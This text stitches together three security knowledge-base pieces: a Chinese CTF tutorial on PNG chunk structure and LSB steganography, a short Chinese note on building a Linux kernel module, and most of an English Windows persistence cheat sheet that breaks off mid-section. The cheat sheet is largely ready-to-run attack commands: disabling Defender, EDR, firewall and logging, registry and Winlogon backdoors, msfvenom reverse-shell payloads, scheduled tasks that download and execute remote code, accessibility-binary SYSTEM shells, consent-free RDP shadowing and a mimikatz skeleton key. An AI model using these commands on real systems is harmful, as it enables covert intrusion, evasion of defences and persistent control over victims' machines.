| 数据块符号 | 数据块名称 | 多数据块 | 可选否 | 位置限制 |
| ---------- | ---------------------- | -------- | ------ | ------------------ |
| IHDR | 文件头数据块 | 否 | 否 | 第一块 |
| cHRM | 基色和白色点数据块 | 否 | 是 | 在PLTE和IDAT之前 |
| gAMA | 图像γ数据块 | 否 | 是 | 在PLTE和IDAT之前 |
| sBIT | 样本有效位数据块 | 否 | 是 | 在PLTE和IDAT之前 |
| PLTE | 调色板数据块 | 否 | 是 | 在IDAT之前 |
| bKGD | 背景颜色数据块 | 否 | 是 | 在PLTE之后IDAT之前 |
| hIST | 图像直方图数据块 | 否 | 是 | 在PLTE之后IDAT之前 |
| tRNS | 图像透明数据块 | 否 | 是 | 在PLTE之后IDAT之前 |
| oFFs | (专用公共数据块) | 否 | 是 | 在IDAT之前 |
| pHYs | 物理像素尺寸数据块 | 否 | 是 | 在IDAT之前 |
| sCAL | (专用公共数据块) | 否 | 是 | 在IDAT之前 |
| IDAT | 图像数据块 | 是 | 否 | 与其他IDAT连续 |
| tIME | 图像最后修改时间数据块 | 否 | 是 | 无限制 |
| tEXt | 文本信息数据块 | 是 | 是 | 无限制 |
| zTXt | 压缩文本数据块 | 是 | 是 | 无限制 |
| fRAc | (专用公共数据块) | 是 | 是 | 无限制 |
| gIFg | (专用公共数据块) | 是 | 是 | 无限制 |
| gIFt | (专用公共数据块) | 是 | 是 | 无限制 |
| gIFx | (专用公共数据块) | 是 | 是 | 无限制 |
| IEND | 图像结束数据 | 否 | 否 | 最后一个数据块 |
对于每个数据块都有着统一的数据结构,每个数据块由 4 个部分组成
| 名称 | 字节数 | 说明 |
| ------------------------------- | -------- | --------------------------------------------------- |
| Length(长度) | 4字节 | 指定数据块中数据域的长度,其长度不超过(2<sup>31</sup>-1)字节 |
| Chunk Type Code(数据块类型码) | 4字节 | 数据块类型码由 ASCII 字母(A - Z 和 a - z)组成 |
| Chunk Data(数据块数据) | 可变长度 | 存储按照 Chunk Type Code 指定的数据 |
| CRC(循环冗余检测) | 4字节 | 存储用来检测是否有错误的循环冗余码 |
CRC(Cyclic Redundancy Check)域中的值是对 Chunk Type Code 域和 Chunk Data 域中的数据进行计算得到的。
### PNG文件头数据块IHDR介绍
文件头数据块 IHDR(Header Chunk):它包含有 PNG 文件中存储的图像数据的基本信息,由 13 字节组成,并要作为第一个数据块出现在 PNG 数据流中,而且一个 PNG 数据流中只能有一个文件头数据块
其中我们关注的是前8字节的内容
| 域的名称 | 字节数 | 说明 |
| -------- | ------- | ---------------------- |
| Width | 4 bytes | 图像宽度,以像素为单位 |
| Height | 4 bytes | 图像高度,以像素为单位 |
我们经常会去更改一张图片的高度或者宽度使得一张图片显示不完整从而达到隐藏信息的目的。
### PNG相关例题
##### WDCTF-finals-2017
观察文件可以发现,文件头及宽度异常
```hex
00000000 80 59 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 |.YNG........IHDR|
00000010 00 00 00 00 00 00 02 f8 08 06 00 00 00 93 2f 8a |............../.|
00000020 6b 00 00 00 04 67 41 4d 41 00 00 9c 40 20 0d e4 |k....gAMA...@ ..|
00000030 cb 00 00 00 20 63 48 52 4d 00 00 87 0f 00 00 8c |.... cHRM.......|
00000040 0f 00 00 fd 52 00 00 81 40 00 00 7d 79 00 00 e9 |....R...@..}y...|
...
```
这里需要注意的是,文件宽度不能任意修改,需要根据 IHDR 块的 CRC 值爆破得到宽度,否则图片显示错误不能得到 flag。
```python
import os
import binascii
import struct
misc = open("misc4.png","rb").read()
for i in range(1024):
data = misc[12:16] + struct.pack('>i',i)+ misc[20:29]
crc32 = binascii.crc32(data) & 0xffffffff
if crc32 == 0x932f8a6b:
print i
```
得到宽度值为 709 后,恢复图片得到 flag。
### PNG PLTE相关介绍
调色板数据块 PLTE(palette chunk):它包含有与索引彩色图像(indexed-color image)相关的彩色变换数据,它仅与索引彩色图像有关,而且要放在图像数据块(image data
chunk)之前。真彩色的 PNG 数据流也可以有调色板数据块,目的是便于非真彩色显示程序用它来量化图像数据,从而显示该图像。
### PNG IDAT相关介绍
图像数据块 IDAT(image data chunk):它存储实际的数据,在数据流中可包含多个连续顺序的图像数据块。
- 储存图像像数数据
- 在数据流中可包含多个连续顺序的图像数据块
- 采用 LZ77 算法的派生算法进行压缩
- 可以用 zlib 解压缩
值得注意的是,IDAT 块只有当上一个块充满时,才会继续一个新的块。
用 `pngcheck` 去查看此 PNG 文件
```shell
λ .\pngcheck.exe -v sctf.png
File: sctf.png (1421461 bytes)
chunk IHDR at offset 0x0000c, length 13
1000 x 562 image, 32-bit RGB+alpha, non-interlaced
chunk sRGB at offset 0x00025, length 1
rendering intent = perceptual
chunk gAMA at offset 0x00032, length 4: 0.45455
chunk pHYs at offset 0x00042, length 9: 3780x3780 pixels/meter (96 dpi)
chunk IDAT at offset 0x00057, length 65445
zlib: deflated, 32K window, fast compression
chunk IDAT at offset 0x10008, length 65524
...
chunk IDAT at offset 0x150008, length 45027
chunk IDAT at offset 0x15aff7, length 138
chunk IEND at offset 0x15b08d, length 0
No errors detected in sctf.png (28 chunks, 36.8% compression).
```
可以看到,正常的块的 length 是在 65524 的时候就满了,而倒数第二个 IDAT 块长度是 45027,最后一个长度是 138,很明显最后一个 IDAT 块是有问题的,因为他本来应该并入到倒数第二个未满的块里.
利用 `python zlib` 解压多余 IDAT 块的内容,此时注意剔除 **长度、数据块类型及末尾的CRC校验值**。
```python
import zlib
import binascii
IDAT = "789...667".decode('hex')
result = binascii.hexlify(zlib.decompress(IDAT))
print result
```
### PNG IEND相关介绍
图像结束数据 IEND(image trailer chunk):它用来标记 PNG 文件或者数据流已经结束,并且必须要放在文件的尾部。
```
00 00 00 00 49 45 4E 44 AE 42 60 82
```
IEND 数据块的长度总是 `00 00 00 00`,数据标识总是 IEND `49 45 4E 44`,因此,CRC 码也总是 `AE 42 60 82`。
### PNG其余辅助数据块相关介绍
- 背景颜色数据块 bKGD(background color)
- 基色和白色度数据块 cHRM(primary chromaticities and white point),所谓白色度是指当 `R=G=B=最大值` 时在显示器上产生的白色度
- 图像 γ 数据块 gAMA(image gamma)
- 图像直方图数据块 hIST(image histogram)
- 物理像素尺寸数据块 pHYs(physical pixel dimensions)
- 样本有效位数据块 sBIT(significant bits)
- 文本信息数据块 tEXt(textual data)
- 图像最后修改时间数据块 tIME (image last-modification time)
- 图像透明数据块 tRNS (transparency)
- 压缩文本数据块 zTXt (compressed textual data)
### PNG LSB相关介绍
LSB 全称 Least Significant Bit,最低有效位。PNG 文件中的图像像数一般是由 RGB 三原色(红绿蓝)组成,每一种颜色占用 8 位,取值范围为 `0x00` 至 `0xFF`,即有 256 种颜色,一共包含了 256 的 3 次方的颜色,即 16777216 种颜色。
而人类的眼睛可以区分约1000万种不同的颜色,意味着人类的眼睛无法区分余下的颜色大约有6777216种。
LSB 隐写就是修改 RGB 颜色分量的最低二进制位(LSB),每个颜色会有 8 bit,LSB 隐写就是修改了像数中的最低的 1 bit,而人类的眼睛不会注意到这前后的变化,每个像素可以携带 3 比特的信息。
如果是要寻找这种 LSB 隐藏痕迹的话,有一个工具 [Stegsolve](http://www.caesum.com/handbook/Stegsolve.jar) 是个神器,可以来辅助我们进行分析。
通过下方的按钮可以观察每个通道的信息,例如查看 R 通道的最低位第 8 位平面的信息。
LSB 的信息借助于 Stegsolve 查看各个通道时一定要细心捕捉异常点,抓住 LSB 隐写的蛛丝马迹。
### PNG例题
> HCTF - 2016 - Misc
这题的信息隐藏在 RGB 三个通道的最低位中,借助 `Stegsolve-->Analyse-->Data Extract` 可以指定通道进行提取。
可以发现 `zip` 头,用 `save bin` 保存为压缩包后,打开运行其中的 ELF 文件就可以得到最后的 flag。
> 更多关于 LSB 的研究可以看 [这里](https://zhuanlan.zhihu.com/p/23890677)。
### PNG隐写软件
[Stepic](http://domnit.org/stepic/doc/)
|
sec-knowleage
|
### 编译内核驱动介绍
这里我们来尝试编译一个驱动模块。驱动代码如下
```c
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
MODULE_LICENSE("Dual BSD/GPL");
static int ko_test_init(void)
{
printk("This is a test ko!\n");
return 0;
}
static void ko_test_exit(void)
{
printk("Bye Bye~\n");
}
module_init(ko_test_init);
module_exit(ko_test_exit);
```
Makefile 文件如下
```makefile
obj-m += ko_test.o
KDIR =/home/iromise/dev/kernel/linux-5.4.98/
all:
$(MAKE) -C $(KDIR) M=$(PWD) modules
clean:
rm -rf *.o *.ko *.mod.* *.symvers *.order
```
这里简单介绍一下这个 Makefile
- `obj-m` 指定要声称哪些模块
- `KDIR` 用来标识内核源码目录,提供驱动编译所需环境
- `$(MAKE) -C $(KDIR) M=$(PWD) modules`
- `-C` 表示进入到指定的内核目录
- `M` 指定驱动源码的环境,M 并不是 Makefile 的选项,而是内核根目录下 Makefile 中使用的变量。这会使得该 Makefile 在构造模块之前返回到 M 指定的目录,并在指定的目录中生成驱动模块。
编译驱动
```bash
make
```
|
sec-knowleage
|
# Windows - Persistence
## Summary
* [Tools](#tools)
* [Hide Your Binary](#hide-your-binary)
* [Disable Antivirus and Security](#disable-antivirus-and-security)
* [Antivirus Removal](#antivirus-removal)
* [Disable Windows Defender](#disable-windows-defender)
* [Disable Windows Firewall](#disable-windows-firewall)
* [Clear System and Security Logs](#clear-system-and-security-logs)
* [Simple User](#simple-user)
* [Registry HKCU](#registry-hkcu)
* [Startup](#startup)
* [Scheduled Tasks User](#scheduled-tasks-user)
* [BITS Jobs](#bits-jobs)
* [Serviceland](#serviceland)
* [IIS](#iis)
* [Windows Service](#windows-service)
* [Elevated](#elevated)
* [Registry HKLM](#registry-hklm)
* [Winlogon Helper DLL](#)
* [GlobalFlag](#)
* [Startup Elevated](#startup-elevated)
* [Services Elevated](#services-elevated)
* [Scheduled Tasks Elevated](#scheduled-tasks-elevated)
* [Binary Replacement](#binary-replacement)
* [Binary Replacement on Windows XP+](#binary-replacement-on-windows-xp)
* [Binary Replacement on Windows 10+](#binary-replacement-on-windows-10)
* [RDP Backdoor](#rdp-backdoor)
* [utilman.exe](#utilman.exe)
* [sethc.exe](#sethc.exe)
* [Remote Desktop Services Shadowing](#remote-desktop-services-shadowing)
* [Skeleton Key](#skeleton-key)
* [Virtual Machines](#virtual-machines)
* [Windows Subsystem for Linux](#windows-subsystem-for-linux)
* [Domain](#domain)
* [Golden Certificate](#golden-certificate)
* [Golden Ticket](#golden-ticket)
* [References](#references)
## Tools
- [SharPersist - Windows persistence toolkit written in C#. - @h4wkst3r](https://github.com/fireeye/SharPersist)
## Hide Your Binary
> Sets (+) or clears (-) the Hidden file attribute. If a file uses this attribute set, you must clear the attribute before you can change any other attributes for the file.
```ps1
PS> attrib +h mimikatz.exe
```
## Disable Antivirus and Security
### Antivirus Removal
* [Sophos Removal Tool.ps1](https://github.com/ayeskatalas/Sophos-Removal-Tool/)
* [Symantec CleanWipe](https://knowledge.broadcom.com/external/article/178870/download-the-cleanwipe-removal-tool-to-u.html)
* [Elastic EDR/Security](https://www.elastic.co/guide/en/fleet/current/uninstall-elastic-agent.html)
```ps1
cd "C:\Program Files\Elastic\Agent\"
PS C:\Program Files\Elastic\Agent> .\elastic-agent.exe uninstall
Elastic Agent will be uninstalled from your system at C:\Program Files\Elastic\Agent. Do you want to continue? [Y/n]:Y
Elastic Agent has been uninstalled.
```
* [Cortex XDR](https://mrd0x.com/cortex-xdr-analysis-and-bypass/)
```ps1
# Global uninstall password: Password1
Password hash is located in C:\ProgramData\Cyvera\LocalSystem\Persistence\agent_settings.db
Look for PasswordHash, PasswordSalt or password, salt strings.
# Disable Cortex: Change the DLL to a random value, then REBOOT
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CryptSvc\Parameters /t REG_EXPAND_SZ /v ServiceDll /d nothing.dll /f
# Disables the agent on startup (requires reboot to work)
cytool.exe startup disable
# Disables protection on Cortex XDR files, processes, registry and services
cytool.exe protect disable
# Disables Cortex XDR (Even with tamper protection enabled)
cytool.exe runtime disable
# Disables event collection
cytool.exe event_collection disable
```
### Disable Windows Defender
```powershell
# Disable Defender
sc config WinDefend start= disabled
sc stop WinDefend
Set-MpPreference -DisableRealtimeMonitoring $true
## Exclude a process / location
Set-MpPreference -ExclusionProcess "word.exe", "vmwp.exe"
Add-MpPreference -ExclusionProcess 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
Add-MpPreference -ExclusionPath C:\Video, C:\install
# Disable scanning all downloaded files and attachments, disable AMSI (reactive)
PS C:\> Set-MpPreference -DisableRealtimeMonitoring $true; Get-MpComputerStatus
PS C:\> Set-MpPreference -DisableIOAVProtection $true
# Disable AMSI (set to 0 to enable)
PS C:\> Set-MpPreference -DisableScriptScanning 1
# Blind ETW Windows Defender: zero out registry values corresponding to its ETW sessions
reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
# Wipe currently stored definitions
# Location of MpCmdRun.exe: C:\ProgramData\Microsoft\Windows Defender\Platform\<antimalware platform version>
MpCmdRun.exe -RemoveDefinitions -All
# Remove signatures (if Internet connection is present, they will be downloaded again):
PS > & "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\MpCmdRun.exe" -RemoveDefinitions -All
PS > & "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
# Disable Windows Defender Security Center
reg add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
# Disable Real Time Protection
reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
```
### Disable Windows Firewall
```powershell
Netsh Advfirewall show allprofiles
NetSh Advfirewall set allprofiles state off
# ip whitelisting
New-NetFirewallRule -Name morph3inbound -DisplayName morph3inbound -Enabled True -Direction Inbound -Protocol ANY -Action Allow -Profile ANY -RemoteAddress ATTACKER_IP
```
### Clear System and Security Logs
```powershell
cmd.exe /c wevtutil.exe cl System
cmd.exe /c wevtutil.exe cl Security
```
## Simple User
Set a file as hidden
```powershell
attrib +h c:\autoexec.bat
```
### Registry HKCU
Create a REG_SZ value in the Run key within HKCU\Software\Microsoft\Windows.
```powershell
Value name: Backdoor
Value data: C:\Users\Rasta\AppData\Local\Temp\backdoor.exe
```
Using the command line
```powershell
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v Evil /t REG_SZ /d "C:\Users\user\backdoor.exe"
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v Evil /t REG_SZ /d "C:\Users\user\backdoor.exe"
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices" /v Evil /t REG_SZ /d "C:\Users\user\backdoor.exe"
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce" /v Evil /t REG_SZ /d "C:\Users\user\backdoor.exe"
```
Using SharPersist
```powershell
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add -o env
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "logonscript" -m add
```
### Startup
Create a batch script in the user startup folder.
```powershell
PS C:\> gc C:\Users\Rasta\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\backdoor.bat
start /b C:\Users\Rasta\AppData\Local\Temp\backdoor.exe
```
Using SharPersist
```powershell
SharPersist -t startupfolder -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "Some File" -m add
```
### Scheduled Tasks User
* Using native **schtask** - Create a new task
```powershell
# Create the scheduled tasks to run once at 00.00
schtasks /create /sc ONCE /st 00:00 /tn "Device-Synchronize" /tr C:\Temp\revshell.exe
# Force run it now !
schtasks /run /tn "Device-Synchronize"
```
* Using native **schtask** - Leverage the `schtasks /change` command to modify existing scheduled tasks
```powershell
# Launch an executable by calling the ShellExec_RunDLL function.
SCHTASKS /Change /tn "\Microsoft\Windows\PLA\Server Manager Performance Monitor" /TR "C:\windows\system32\rundll32.exe SHELL32.DLL,ShellExec_RunDLLA C:\windows\system32\msiexec.exe /Z c:\programdata\S-1-5-18.dat" /RL HIGHEST /RU "" /ENABLE
```
* Using Powershell
```powershell
PS C:\> $A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:\Users\Rasta\AppData\Local\Temp\backdoor.exe"
PS C:\> $T = New-ScheduledTaskTrigger -AtLogOn -User "Rasta"
PS C:\> $P = New-ScheduledTaskPrincipal "Rasta"
PS C:\> $S = New-ScheduledTaskSettingsSet
PS C:\> $D = New-ScheduledTask -Action $A -Trigger $T -Principal $P -Settings $S
PS C:\> Register-ScheduledTask Backdoor -InputObject $D
```
* Using SharPersist
```powershell
# Add to a current scheduled task
SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m add
# Add new task
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Task" -m add
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Task" -m add -o hourly
```
### BITS Jobs
```powershell
bitsadmin /create backdoor
bitsadmin /addfile backdoor "http://10.10.10.10/evil.exe" "C:\tmp\evil.exe"
# v1
bitsadmin /SetNotifyCmdLine backdoor C:\tmp\evil.exe NUL
bitsadmin /SetMinRetryDelay "backdoor" 60
bitsadmin /resume backdoor
# v2 - exploit/multi/script/web_delivery
bitsadmin /SetNotifyCmdLine backdoor regsvr32.exe "/s /n /u /i:http://10.10.10.10:8080/FHXSd9.sct scrobj.dll"
bitsadmin /resume backdoor
```
## Serviceland
### IIS
IIS Raid – Backdooring IIS Using Native Modules
```powershell
$ git clone https://github.com/0x09AL/IIS-Raid
$ python iis_controller.py --url http://192.168.1.11/ --password SIMPLEPASS
C:\Windows\system32\inetsrv\APPCMD.EXE install module /name:Module Name /image:"%windir%\System32\inetsrv\IIS-Backdoor.dll" /add:true
```
### Windows Service
Using SharPersist
```powershell
SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Service" -m add
```
## Elevated
### Registry HKLM
Similar to HKCU. Create a REG_SZ value in the Run key within HKLM\Software\Microsoft\Windows.
```powershell
Value name: Backdoor
Value data: C:\Windows\Temp\backdoor.exe
```
Using the command line
```powershell
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v Evil /t REG_SZ /d "C:\tmp\backdoor.exe"
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v Evil /t REG_SZ /d "C:\tmp\backdoor.exe"
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices" /v Evil /t REG_SZ /d "C:\tmp\backdoor.exe"
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce" /v Evil /t REG_SZ /d "C:\tmp\backdoor.exe"
```
#### Winlogon Helper DLL
> Run executable during Windows logon
```powershell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f exe > evilbinary.exe
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f dll > evilbinary.dll
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /d "Userinit.exe, evilbinary.exe" /f
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /d "explorer.exe, evilbinary.exe" /f
Set-ItemProperty "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" "Userinit" "Userinit.exe, evilbinary.exe" -Force
Set-ItemProperty "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" "Shell" "explorer.exe, evilbinary.exe" -Force
```
#### GlobalFlag
> Run executable after notepad is killed
```powershell
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\temp\evil.exe"
```
### Startup Elevated
Create a batch script in the user startup folder.
```powershell
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
```
### Services Elevated
Create a service that will start automatically or on-demand.
```powershell
# Powershell
New-Service -Name "Backdoor" -BinaryPathName "C:\Windows\Temp\backdoor.exe" -Description "Nothing to see here." -StartupType Automatic
sc start pentestlab
# SharPersist
SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c backdoor.exe" -n "Backdoor" -m add
# sc
sc create Backdoor binpath= "cmd.exe /k C:\temp\backdoor.exe" start="auto" obj="LocalSystem"
sc start Backdoor
```
### Scheduled Tasks Elevated
Scheduled Task to run as SYSTEM, everyday at 9am or on a specific day.
> Processes spawned as scheduled tasks have taskeng.exe process as their parent
```powershell
# Powershell
$A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:\temp\backdoor.exe"
$T = New-ScheduledTaskTrigger -Daily -At 9am
# OR
$T = New-ScheduledTaskTrigger -Daily -At "9/30/2020 11:05:00 AM"
$P = New-ScheduledTaskPrincipal "NT AUTHORITY\SYSTEM" -RunLevel Highest
$S = New-ScheduledTaskSettingsSet
$D = New-ScheduledTask -Action $A -Trigger $T -Principal $P -Settings $S
Register-ScheduledTask "Backdoor" -InputObject $D
# Native schtasks
schtasks /create /sc minute /mo 1 /tn "eviltask" /tr C:\tools\shell.cmd /ru "SYSTEM"
schtasks /create /sc minute /mo 1 /tn "eviltask" /tr calc /ru "SYSTEM" /s dc-mantvydas /u user /p password
schtasks /Create /RU "NT AUTHORITY\SYSTEM" /tn [TaskName] /tr "regsvr32.exe -s \"C:\Users\*\AppData\Local\Temp\[payload].dll\"" /SC ONCE /Z /ST [Time] /ET [Time]
##(X86) - On User Login
schtasks /create /tn OfficeUpdaterA /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onlogon /ru System
##(X86) - On System Start
schtasks /create /tn OfficeUpdaterB /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onstart /ru System
##(X86) - On User Idle (30mins)
schtasks /create /tn OfficeUpdaterC /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onidle /i 30
##(X64) - On User Login
schtasks /create /tn OfficeUpdaterA /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onlogon /ru System
##(X64) - On System Start
schtasks /create /tn OfficeUpdaterB /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onstart /ru System
##(X64) - On User Idle (30mins)
schtasks /create /tn OfficeUpdaterC /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onidle /i 30
```
### Windows Management Instrumentation Event Subscription
> An adversary can use Windows Management Instrumentation (WMI) to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system.
* **__EventFilter**: Trigger (new process, failed logon etc.)
* **EventConsumer**: Perform Action (execute payload etc.)
* **__FilterToConsumerBinding**: Binds Filter and Consumer Classes
```ps1
# Using CMD : Execute a binary 60 seconds after Windows started
wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="WMIPersist", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="WMIPersist", ExecutablePath="C:\Windows\System32\binary.exe",CommandLineTemplate="C:\Windows\System32\binary.exe"
wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"WMIPersist\"", Consumer="CommandLineEventConsumer.Name=\"WMIPersist\""
# Remove it
Get-WMIObject -Namespace root\Subscription -Class __EventFilter -Filter "Name='WMIPersist'" | Remove-WmiObject -Verbose
# Using Powershell (deploy)
$FilterArgs = @{name='WMIPersist'; EventNameSpace='root\CimV2'; QueryLanguage="WQL"; Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 60 AND TargetInstance.SystemUpTime < 90"};
$Filter=New-CimInstance -Namespace root/subscription -ClassName __EventFilter -Property $FilterArgs
$ConsumerArgs = @{name='WMIPersist'; CommandLineTemplate="$($Env:SystemRoot)\System32\binary.exe";}
$Consumer=New-CimInstance -Namespace root/subscription -ClassName CommandLineEventConsumer -Property $ConsumerArgs
$FilterToConsumerArgs = @{Filter = [Ref] $Filter; Consumer = [Ref] $Consumer;}
$FilterToConsumerBinding = New-CimInstance -Namespace root/subscription -ClassName __FilterToConsumerBinding -Property $FilterToConsumerArgs
# Using Powershell (remove)
$EventConsumerToCleanup = Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer -Filter "Name = 'WMIPersist'"
$EventFilterToCleanup = Get-WmiObject -Namespace root/subscription -Class __EventFilter -Filter "Name = 'WMIPersist'"
$FilterConsumerBindingToCleanup = Get-WmiObject -Namespace root/subscription -Query "REFERENCES OF {$($EventConsumerToCleanup.__RELPATH)} WHERE ResultClass = __FilterToConsumerBinding"
$FilterConsumerBindingToCleanup | Remove-WmiObject
$EventConsumerToCleanup | Remove-WmiObject
$EventFilterToCleanup | Remove-WmiObject
```
### Binary Replacement
#### Binary Replacement on Windows XP+
| Feature | Executable |
|---------------------|---------------------------------------|
| Sticky Keys | C:\Windows\System32\sethc.exe |
| Accessibility Menu | C:\Windows\System32\utilman.exe |
| On-Screen Keyboard | C:\Windows\System32\osk.exe |
| Magnifier | C:\Windows\System32\Magnify.exe |
| Narrator | C:\Windows\System32\Narrator.exe |
| Display Switcher | C:\Windows\System32\DisplaySwitch.exe |
| App Switcher | C:\Windows\System32\AtBroker.exe |
In Metasploit : `use post/windows/manage/sticky_keys`
#### Binary Replacement on Windows 10+
Exploit a DLL hijacking vulnerability in the On-Screen Keyboard **osk.exe** executable.
Create a malicious **HID.dll** in `C:\Program Files\Common Files\microsoft shared\ink\HID.dll`.
### RDP Backdoor
#### utilman.exe
At the login screen, press Windows Key+U, and you get a cmd.exe window as SYSTEM.
```powershell
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f
```
#### sethc.exe
Hit F5 a bunch of times when you are at the RDP login screen.
```powershell
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f
```
### Remote Desktop Services Shadowing
:warning: FreeRDP and rdesktop don't support Remote Desktop Services Shadowing feature.
Requirements:
* RDP must be running
```powershell
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v Shadow /t REG_DWORD /d 4
# 4 – View Session without user’s permission.
# Allowing remote connections to this computer
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
# Disable UAC remote restriction
reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
mstsc /v:{ADDRESS} /shadow:{SESSION_ID} /noconsentprompt /prompt
# /v parameter lets specify the {ADDRESS} value that is an IP address or a hostname of a remote host;
# /shadow parameter is used to specify the {SESSION_ID} value that is a shadowee’s session ID;
# /noconsentprompt parameter allows to bypass a shadowee’s permission and shadow their session without their consent;
# /prompt parameter is used to specify a user’s credentials to connect to a remote host.
```
### Skeleton Key
> Inject a master password into the LSASS process of a Domain Controller.
Requirements:
* Domain Administrator (SeDebugPrivilege) or `NTAUTHORITY\SYSTEM`
```powershell
# Execute the skeleton key attack
mimikatz "privilege::debug" "misc::skeleton"
